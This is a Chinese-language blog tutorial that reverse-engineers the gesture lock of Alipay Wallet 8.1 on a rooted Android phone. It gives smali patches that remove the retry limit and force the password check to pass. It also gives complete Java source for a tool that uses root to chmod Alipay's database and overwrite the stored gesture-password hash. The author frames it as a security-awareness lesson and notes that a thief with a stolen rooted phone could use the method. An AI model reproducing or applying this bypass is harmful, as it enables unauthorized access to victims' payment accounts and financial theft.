支付寶錢包手勢密碼破解實戰(root過的手機可直接繞過手勢密碼)

/*

本文章由 莫灰灰 編寫,轉載請註明出處。  

作者:莫灰灰    郵箱: [email protected]

*/

背景

         隨着移動互聯網的普及以及手機屏幕越做越大等特點,在移動設備上購物、消費已是人們不可或缺的一個生活習慣了。隨着這股浪潮的興起,安全、便捷的移動支付需求也越來越大。因此,各大互聯網公司紛紛推出了其移動支付平臺。其中,用的比較多的要數騰訊的微信和阿里的支付寶錢包了。就我而言,平時和同事一起出去AA吃飯,下班回家打車等日常生活都已經離不開這兩個支付平臺了。

         正所謂樹大招風,移動支付平臺的興起,也給衆多一直徘徊在網絡陰暗地帶的黑客們又一次重生的機會。因爲移動平臺剛剛興起,人們對移動平臺的安全認識度還不夠。就拿我身邊的很多朋友來說,他們一買來手機就開始root,之後卸載預裝軟件,下載遊戲外掛等等。今天,我們就以破解支付寶錢包的手勢密碼爲例,來深入瞭解下android系統上的一些安全知識,希望能引起人們對移動平臺安全的重視。

在此申明:以下文章涉及的代碼與分析內容僅供android系統安全知識的學習和交流使用,任何個人或組織不得使用文中提到的技術和代碼做違法犯罪活動,否則由此引發的任何後果與法律責任本人概不負責。

 

實驗環境

紅米TD版

MIUI-JHACNBA13.0(已越獄)

支付寶錢包8.1.0.043001版

 

使用工具

APK IDE

Smali.jar

Ddms

SQLite Expert

應用寶

 

程序分析

準備階段

安裝完支付寶錢包之後,運行軟件,我這裏選擇淘寶帳號登錄,界面如圖1所示。

圖1

登錄之後,設置手勢密碼,如圖2所示。

圖2

完成上述兩步之後,退出支付寶進程。用騰訊應用寶定位到支付寶的安裝目錄\data\data\com.eg.android.AlipayGphone,查看目錄結構如圖3所示。

圖3

 

實戰開始 - 破解手勢密碼錯誤次數限制

看到圖3所示的目錄結構,猜測databases目錄下的*.dB數據庫文件就是用來保存上述我們設置的密碼的。因此,我們使用應用寶的導出功能將databases目錄導出到本地。用SQLite Expert工具打開所有的dB文件,分析發現alipayclient.db數據庫中的userinfo表中保存了用戶名、輸入錯誤次數、手勢密碼等詳細信息,如圖4所示。其中的gestureErrorNum字段應該就是保存了手勢密碼輸入錯誤的次數了,很明顯這裏已經被加密了。

圖4

使用APK IDE對支付寶的安裝包進行解包分析。解包完成之後,搜索setgestureErrorNum字樣,結果如圖5所示。

圖5

經過大致分析,UserInfoDao.smali文件中的addUserInfo函數比較可疑,截取其中一段設置手勢密碼錯誤次數的代碼如下:

invoke-virtual {v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGestureErrorNum()Ljava/lang/String;

move-result-object v1   

#調用getGestureErrorNum函數獲得未加密的錯誤次數,並保存到v1寄存器

 

invoke-virtual {v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String;

move-result-object v2     

#調用getUserId函數獲得user id,並保存到v2寄存器

 

invoke-static {v2},Lcom/alipay/mobile/security/gesture/util/GesutreContainUtil;->get8BytesStr(Ljava/lang/String;)Ljava/lang/String;

move-result-object v2     

#獲取user id的前8個字節,保存到v2寄存器

 

invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

move-result-object v1     

#以user id的前8字節作爲key,調用des加密錯誤次數字符串,並保存到v1寄存器

 

invoke-virtual {v0, v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V

#調用setGestureErrorNum函數,將加密的字符串保存

通過對上述代碼的分析得知,第一次getGestureErrorNum的調用取出的錯誤次數應該是未加密的字符串,添加log代碼驗證,代碼如圖6所示。

圖6

保存修改的smali文件,重新編譯打包,安裝完成之後,輸入錯誤的手勢密碼,log輸出數字依次遞增。最後一次輸入正確的手勢密碼,錯誤次數重新歸0。LogCat捕捉到的日誌如圖7所示。

圖7

程序分析到這裏,我不禁猜測,在錯誤次數未加密前,把v1寄存器的值設置爲字符串“0”是不是就可以騙過支付寶而可以無限次的輸入手勢密碼了呢?於是乎,我又開始了下面的驗證,代碼如圖8所示。

圖8

編譯打包,重新安裝支付寶,輸入錯誤的手勢密碼,發現5次錯誤之後程序還是讓我們重新登錄。看來我們這裏設置錯誤次數已經晚了,於是乎,繼續搜索調用addUserInfo函數來加密gestureErrorNum的地方。其中,AlipayPattern.smali文件的settingGestureError函數引起了我的注意。函數代碼如下:

.method publicsettingGestureError(Lcom/alipay/mobile/framework/app/ui/BaseActivity;Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;I)V

.locals 1

new-instance v0, Ljava/lang/StringBuilder; #初始化StringBuilder實例

 

invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V

 

invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;

#p3是一個I類型的整型變量,調用StringBuilder. append賦值

 

move-result-object v0

 

invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

 

move-result-object v0      #調用toString函數轉換成字符串類型,賦給v0

 

invoke-virtual {p2, v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V#調用setGestureErrorNum設置未加密的錯誤次數字符串

 

invoke-static {},Lcom/alipay/mobile/framework/AlipayApplication;->getInstance()Lcom/alipay/mobile/framework/AlipayApplication;

 

move-result-object v0

 

invoke-static {v0},Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->getInstance(Landroid/content/Context;)Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;

 

move-result-object v0

 

invoke-virtual {v0, p2},Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->addUserInfo(Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;)Z

#調用SecurityDbHelper.addUserInfo函數加密、更新數據庫

 

return-void

.end method

分析到這裏,想必這裏纔是最原始的設置手勢輸入錯誤次數的地方吧,修改p3的值爲0,測試代碼如圖9所示。

圖9

繼續打包、編譯、測試。隨意輸入錯誤的手勢密碼,支付寶始終顯示“密碼錯誤,還可以輸入5次”字樣,如圖10。

圖10

至此,手勢密碼中的錯誤次數限制已經被我們解除了。理論上來說,我們可以使用窮舉法來獲取支付寶的手勢密碼。但是,作爲一名分分鐘幾百萬上下的大黑闊來說,使用窮舉法來獲得密碼這種方式,顯然是在浪費生命和金錢呀。

 

越戰越勇 – 查找關鍵跳轉

對於大黑闊們來說,只破解手勢輸入錯誤次數限制顯然是不夠的。下面我們以手勢密碼的存儲展開來說起。查看alipayclient.db數據庫的userinfo表可知,手勢密碼的存儲字段爲gesturePwd,搜索getGesturePwd函數得到如圖11的結果。

圖11

搜索到的結果比較多,根據前面對手勢密碼錯誤次數限制的分析,這裏可以排除幾個文件,例如UserInfoDao.smali文件,它主要用來保存一些用戶態的信息,可暫時跳過。剩下的smali文件,我們一個個分析過來。在這裏我想說的一點是,逆向分析確實是很考驗一個人耐心和細心的一件事情,一個恍惚就會迷失在浩瀚的彙編代碼中,但是等到你找到關鍵的調用點,分析出核心的算法時,那麼心境會豁然開朗,真是有種踏破鐵鞋無覓處,得來全不費工夫的感腳。好了,扯遠了,下面我們繼續。

經過我的仔細分析,e.smali文件最有可能是比較輸入密碼的地方,雙擊上面e.smali文件的LINE 47行,跳轉到的是a函數。由於函數比較長,只貼關鍵部分,代碼如下:

.method public final a(Ljava/lang/String;)V

.locals 4

 

invoke-virtual {p1},Ljava/lang/String;->length()I #取輸入字符串的長度

 

move-result v0 

 

sget v1,Lcom/alipay/mobile/security/gesture/component/LockView;->MINSELECTED:I

 

        if-ltv0, v1, :cond_1  #比較字符串長度

 

:try_start_0

iget-object v0, p0,Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;#獲取UserInfo對象

 

invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String;#調用UserInfo的getGesturePwd函數獲得加密過的正確的手勢密碼

 

move-result-object v0

 

invoke-virtual {v0}, Ljava/lang/String;->length()I #取加密過的正確密碼的長度

 

move-result v0

 

const/16 v1, 0x20

 

if-le v0, v1, :cond_0 #長度是否小於32

 

new-instance v0, Ljava/lang/StringBuilder;

 

invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V #初始化StringBuilder對象

 

invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

#將輸入的明文手勢密碼賦值給StringBuilder對象

        

move-result-object v0     

 

iget-object v1, p0,Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;

 

invoke-virtual {v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String;#調用UserInfo的getUserId函數獲取user id

        

move-result-object v1

 

const-string/jumbo v2, "userInfo"

 

invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;#調用des加密函數,以“userInfo”爲key,加密user id字符串

        

move-result-object v1

 

invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

#將加密好的user id字符串附加到StringBuilder對象上

 

move-result-object v0

 

invoke-virtual {v0},Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

 

move-result-object v0

#StringBuilder對象(輸入明文手勢的密碼 + 加密後的user id)轉字符串,並賦值給v0寄存器

 

invoke-static {v0}, Lcom/alipay/mobile/security/gesture/util/SHA1;->sha1(Ljava/lang/String;)Ljava/lang/String;

#調用靜態的sha1函數,計算出一個hash值

        

move-result-object v0

 

:goto_0

iget-object v1, p0,Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;

 

invoke-virtual {v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String;#調用UserInfo的getGesturePwd函數獲得加密過的正確的手勢密碼

        

move-result-object v1

 

invoke-virtual {v0, v1},Ljava/lang/String;->equals(Ljava/lang/Object;)Z

#比較輸入的密碼和正確的密碼

        

move-result v0

 

if-eqz v0, :cond_1

很顯然,上面這個if-eqz是關鍵,如果比較函數equals返回false,那麼跳轉到cond_1標籤處。cond_1標籤處的主要任務就是取當前輸入錯誤的次數,在這個基礎上加上1,然後調用settingGestureError函數重新設置錯誤次數。如果兩個字符串相等,那麼調用settingGestureError函數把錯誤次數重新置爲0。

下面爲了驗證我們的猜測,進行如下兩步操作:

1、在a函數中加入類似如圖12的打印日誌代碼,這裏未全部截圖下來,其他地方留給讀者自行添加。

圖12

2、在if-eqz v0前patch v0,代碼如圖13所示。

圖13

         完成上述兩步操作之後,保存修改過的smali文件,編譯打包,重新安裝支付寶錢包客戶端,隨意輸入手勢密碼。這裏引用大魔術師劉謙的一句話,“接下來就是見證奇蹟的時刻”。在我們隨意輸入密碼之後,熟悉的支付寶主界面出現在我們眼前,同時LogCat輸出日誌如圖14所示。

圖14

日誌的組成大致如下:

第一行:用戶輸入的,還未加密的手勢代碼;

第二行:保存在數據庫中正確的加密後的手勢密碼;

第三行:未加密的user id;

第四行:採用des加密後的user id;

第五行:拼接用戶輸入和加密後的user id;

第六行:採用sha1算法計算出來的加密之後的用戶輸入的手勢密碼。

         通過仔細的分析日誌,我們從中可以得出兩個結論:

1、真實的手勢密碼和我們輸入的密碼是不一樣的,但是我們還是進入了支付寶的主界面,證明我們上面第2步中修改的地方非常關鍵,從而也印證了e.smali文件的a函數確實是比較用戶輸入和真實密碼的關鍵函數。

2、支付寶是將用戶的手勢操作轉化成對應的數字,然後再做一定的加密處理之後保存到數據庫中。比較用戶輸入的時候,是用相同的加密步驟對用戶輸入進行加密,再與數據庫中保存的密碼做比較。數字代碼對應如圖15所示。

圖15

         程序分析到這裏,我們已經清楚的明白了支付寶手勢密碼的加密過程和算法,並且通過修改關鍵跳轉的方法,使得我們隨意輸入手勢密碼都可以進入支付寶主界面。

 

仔細思考 – 還原手勢密碼?

         回過頭來仔細想想,手勢密碼的加密流程是這樣的,用戶輸入+user id組成一個字符串,將該字符串經過sha1算法哈希之後得到另一個加密字符串即爲手勢密碼。其中,user id字符串在alipayclient.db數據庫的userinfo表中的userId字段已經表明了,正確的手勢密碼gesturePwd字段也已經有了。雖然sha1算法不可逆,但是在我們的這個實例中,最長輸入是9位,最短爲4位,我們完全可以通過已知的信息,採用有限的窮舉,就能得出正確的手勢代碼了。相信對於現在的4核乃至8核cpu手機來說,這點計算應該是很輕鬆的。

       但是,我們難道只能通過窮舉來實現暴力破解嗎?答案是否定的。其實我們完全可以自己構造一個輸入,例如0123,採用和支付寶完全相同的加密流程得到手勢密碼。然後,通過修改userinfo表的gesturePwd字段內容爲上面我們計算出來的手勢密碼,這樣,就能實現隨意修改手勢密碼的目的了。想法有了,下面我們編寫代碼來驗證該方法是否可行。

 

代碼實現

         查看支付寶使用的sha1算法可知,該算法與支付寶的整體功能業務耦合度基本爲0,於是我將sha1算法所在的smali文件轉換成jar包,然後導入到我的工程中,這樣,就可以直接調用和支付寶完全相同的sha1算法了。程序代碼如下所示:

protected void onCreate(Bundle savedInstanceState) {

                   super.onCreate(savedInstanceState);

                   setContentView(R.layout.activity_main);

 

                   setTitle("支付寶手勢密碼修改器");

                 

                   szUerIdString = "";

                   tvStatus = (TextView)findViewById(R.id.textStatus);

                   etEncryptUserid = (EditText)findViewById(R.id.editEncryptUserId);

                   etDecryptUserid = (EditText)findViewById(R.id.editDecrypUserId);

                   etMyPwd = (EditText) findViewById(R.id.editMyselfPwd);

                   btnOK = (Button)findViewById(R.id.btnSetting);

                  

                   if(!RootUtils.hasRootPermission()) {

                            tvStatus.setText("本程序只能在ROOT過的手機上運行!");

            return;

        }

                  

                    if(!RootUtils.hasInstalledApp(MainActivity.this, "com.eg.android.AlipayGphone")){

                             tvStatus.setText("請確認您已經安裝了支付寶錢包!");

                 return;

             }

                    

                   String szUserId =getUserId();

                   if (!szUserId.isEmpty()) {

                           

                            szUerIdString =szUserId;

                            etEncryptUserid.setText(szUserId);

                            tvStatus.setText("讀取user id成功,請輸入自定義手勢密碼!");

                           

                            StringszDecryptUserid = decryptUserid(szUserId, "userInfo");

                            if(!szDecryptUserid.isEmpty()) {

                                     etDecryptUserid.setText(szDecryptUserid);

                            }

                            else {

                                     tvStatus.setText("解密user id失敗!");

                            }

                           

                            btnOK.setOnClickListener(newOnClickListener() {

                     @Override

                     public void onClick(View view) {

                              StringszPwd = etMyPwd.getText().toString();

                              if(szPwd.isEmpty()) {

                                         Toast.makeText(MainActivity.this, "設置的自定義密碼不能爲空,請重新輸入!", Toast.LENGTH_LONG).show();

                                               }

                              else{

                                        StringBuildersBuilder = new StringBuilder();

                                            sBuilder.append(szPwd);

                                            sBuilder.append(szUerIdString);

                                           

                                            Stringtmp = sBuilder.toString();

                                            Stringsha1 = com.alipay.mobile.security.gesture.util.SHA1.sha1(tmp);

                                            Log.v(TAG,sha1);

                                           

                                            if(!sha1.isEmpty()) {

                                                     if(updateDatabaseGesturePwd(szUerIdString, sha1)) {

                                                               tvStatus.setText("設置自定義密碼成功!");

                                                                 }

                                                     else{

                                                               tvStatus.setText("設置自定義密碼失敗!");

                                                     }

                                            }

                                               }

                     }

                });

                   }

                   else {

                            tvStatus.setText("獲取user id失敗!");

                   }

         }

         獲取user id和修改手勢密碼的代碼如下:

// 獲取加密的user id

         private String getUserId()

         {

                   String szRet = "";

                  

                   // 修改數據庫文件的讀寫權限

                   RootUtils.RootCommand("chmod666 /data/data/com.eg.android.AlipayGphone/databases/alipayclient.db");

                   RootUtils.RootCommand("chmod666/data/data/com.eg.android.AlipayGphone/databases/alipayclient.db-journal");

                  

                   try {

                            Context context =createPackageContext("com.eg.android.AlipayGphone",  Context.CONTEXT_IGNORE_SECURITY);

                            SQLiteDatabase dB=context.openOrCreateDatabase("alipayclient.db", 0, null);

            Cursor cursor =db.rawQuery("select * from userinfo", null);

            if (cursor.moveToFirst()) {

                                     szRet =cursor.getString(USER_ID_INDEX) ;

                            }

            db.close();

                   } catch(NameNotFoundException e1) {

            e1.printStackTrace();

        }

                  

                   return szRet;

         }

        

         // 修改手勢密碼

         private booleanupdateDatabaseGesturePwd(String szUerId, String szPwd) {

                   boolean bRet = false;

                  

                   if (szPwd.isEmpty() ||szUerId.isEmpty()) {

                            return bRet;

                   }

                  

                   try {

                            Context context =createPackageContext("com.eg.android.AlipayGphone",  Context.CONTEXT_IGNORE_SECURITY);

                            SQLiteDatabase dB=context.openOrCreateDatabase("alipayclient.db", 0, null);

                            ContentValues cv =new ContentValues();

                            cv.put("gesturePwd",szPwd);

                            String[] args ={String.valueOf(szUerId)};

                            int n =db.update("userinfo", cv, "userId=?", args);

                            if (n> 0) {

                                     bRet =true;

                            }

                            db.close();

                   } catch(NameNotFoundException e1) {

            e1.printStackTrace();

        }

                  

                   return bRet;

         }

         最後,程序運行效果如圖16所示。

圖16

         輸入自定義密碼,點擊確認,程序提示設置成功。此時,打開支付寶,輸入我們的自定義手勢代碼即可解鎖支付寶進入熟悉的主界面了。

 

後記

如上所述,通過修改支付寶錢包數據庫來達到破解目的的方法是需要在已經root過的手機上才能使用的。設想一下這種情況,我的手機已經root,並且手機被盜。那麼,除了手機上的豔照有可能泄露之外,小偷還可以通過修改支付寶的手勢密碼來登錄我的支付寶,因此,造成直接的金錢損失也不是沒有可能。

         一般來說,普通用戶日常使用的手機儘量不要去root,也不要隨便去下載來歷不明的軟件和外掛。

發佈了53 篇原創文章 · 獲贊 5 · 訪問量 29萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章